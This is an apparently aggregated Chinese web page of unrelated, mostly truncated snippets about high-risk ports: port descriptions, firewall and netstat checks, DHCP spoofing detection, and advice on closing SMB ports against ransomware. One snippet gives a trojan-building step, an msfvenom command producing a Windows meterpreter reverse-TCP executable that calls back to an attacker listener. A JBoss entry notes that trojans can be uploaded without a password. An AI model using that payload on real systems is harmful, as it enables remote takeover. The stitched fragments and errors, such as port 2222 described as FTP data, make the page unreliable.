【信息安全服务】常见服务高危端口排查（含内网）

【代码】windows高危端口使用批量排查。

服务和安全是相应的，每开启一个端口，那么攻击面就大了一点，开启的端口越多，也就意味着面临的威胁越大。企业应当时刻关注自身服务器对外开放的端口，避免一些高危端口对外开放，并且非必要的端口应当及时关闭。通过端口扫描工具来获取服务器对外开放的端口，然后针对开放的高危端口进行渗透测试。然后对获取到端口进行渗透测试，发现某端口上运行的应用存在弱口令。Eg.对某站点的真实ip进行端口扫描，获取对外开放的端口信息。

本文我们要检查 Windows 服务器上的防火墙是否开放了 3389 端口（通常用于远程桌面连接），并在需要时开放它，使用 PowerShell 或 Windows 防火墙的图形用户界面（GUI）。

在计算机网络中，端口是一种用于区分不同网络服务或应用程序的逻辑地址。每个网络服务或应用程序都需要至少一个端口（号）来实现网络通信。当某个端口开放时，便能接收来自于其它计算机或网络设备的连接请求和数据。但同时，开放的端口也暴露了计算机、网络设备的服务或应用程序，使得攻击者可以通过扫描端口发现潜在的漏洞，进而实施网络攻击。高危端口便是被不法分子经常利用的端口。本章详细介绍高危端口。

基于wireshark快速定位内网DHCP Server仿冒攻击： 子公司网络负责人反馈本部员工DHCP分配到的ip为非法ip，请求定位DHCP server 攻击原理： 由于DHCP发现报文（DHCP DISCOVER）以广播形式发送，所以DHCP Server仿冒者可以侦听到此报文。DHCP Server仿冒者回应给DHCP Client仿冒信息，如错误的ip地址 快速定位： 在获取到异常ip的主机上，开启wireshark抓包，基于DHCP报文交互特性，显示过滤输入条件：ip.addr == 25

声明：本文仅供学习交流，恶意人员请绕路， msf木马制作 网上有很多教程，比较简单，大致说下步骤： 1 生成木马 在kali控制台输入： msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.10 LPORT=4444 -f exe >/home/kali/111.exe -p 参数后跟上payload（载体），攻击成功之后，要做什么事情 LHOST 后跟监听的IP,kali的ip LPORT 后跟监听

盛邦安全重保专项服务方案分为保障前期、保障期间、保障后期三个阶段，能够满足风险自查、安全监测、情报共享、应急响应、攻击溯源、工作总结等重保期间各类安全服务保障需求。

135 c-serv 135口主要用于使用RPC(Remote Procedure Call，远程过程调用）协议并提供DCOM（分布式组件对象模型）服务，通过RPC可以保证一台计算机上运行的程序可以顺利地执行远程计算机上的代码； 137 138 是UDP端口，当通过网上邻居传输文件时用这个端口，因为是UDP端口，对于攻击者来说，通过发送请求很容易就获取目标计算机的相关信息，有些信息是直接可以被利...

请注意，以上列出的端口是一些常见的高危端口，实际情况可能因网络环境、安全策略和部署配置而有所不同。这些端口可能面临各种安全威胁，因此在服务器上保护它们的安全非常重要。

1. 检查安全组规则是否打开相应端口。 iptables -nL 2. 检查防火墙的状态 systemctl status firewalld 3. 关闭防火墙后，检查端口是否能够访问了 systemctl stopfirewalld 4. 如果可以访问，不能把防火墙一直都关着吧，重启防火墙 systemctl start firewalld 5. 为相应端口增加一条特殊规则 firewall-cmd --add-port=8099/tcp --perma...

漏洞简述JBOSS 企业应用平台EAP是 J2EE 应用的中间件平台。默认情况下访问 http://ip:8080/jmx-console 就可以浏览 Jboss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

常被黑客利用端口　　一些端口常常会被黑客利用，还会被一些木马病毒利用，对计算机系统进行攻击，以下是计算机端口的介绍以及防止被黑客攻击的简要办法。　　8080端口　　端口说明：8080端口同80端口，是被用于WWW代理服务的，可以实现网页浏览，经常在访问某个网站或使用代理服务器的时候，会加上“:8080”端口号，比如http://www.cce.com.cn:8080。　　端口漏洞：8080端口可以

原地址:https://www.jianshu.com/p/6aede66f5fdd 今天看到阿里云提示潜在高危安全组中有3306，就在网上查询并记录下来。 端口 服务 渗透测试 tcp 20,21 FTP（文件传输协议） 允许匿名的上传下载,爆破,嗅探,win提权,远程执行(proftpd 1.3.5),各类后门(proftpd,vsftp ...

服务器安全至关重要，给大家列举了几种常见攻击类型及排查处理方式。肉鸡就是被黑客攻击和入侵，在电脑里面放入了病毒和木马之类的后门程序，拥有管理权限的远程电脑，受入侵者控制的远程电脑。被肉鸡或ARP攻击处理建议：1.从系统级检查（1）经常检查系统内用户情况，是否发现有可疑账号，检查administrators组里是否增加了未知账号。（2）检查自己网站目录权限，尽量减少无关用户的权限。（3）Windows主机的客户每月都要打系统补丁，每月的15日左右微软会发布补丁，请及时打补丁。（4）建议关闭不需要的服务。...

Windows10默认开启一些日常用不到的端口，这些端口让黑客有机可乘（黑客会使用工具扫描计算机上的端口，并入侵这些端口），关闭这些高危端口，可使我们的电脑避免遭受攻击。例如关闭445端口等，可有效防止勒索病毒防止互联网上出现针对Windows操作系统的勒索软件的攻击案例，勒索软件利用此前披露的Windows SMB服务漏洞(对应微软漏洞公告：MS17-010)攻击手段，向终端用户进行渗透传播，并向用户勒索比特币或其他价值物[1,2]。 应关闭端口[2]：TCP 137、139、445、593、1025、2

端口号被占用 排查 1.查找端口占用情况     经常项目启动后，会出现端口被占用情况，总是莫名其妙的想不到是什么占用的，很苦恼，这里就介绍一下怎样精确查找。     cmd命令：netstat -ano (可以查找到所有端口使用情况)   这只能大概看看，有时候端口太多，找不是太方便，于是可以使用   cmd命令： netstat -aon|find

注意到检测系统显示的高危漏洞分别是22，135，139，445，3389端口。今天就分别了解下这些端口一般情况下是干什么用的。2222端口一般用于ftp的数据传输。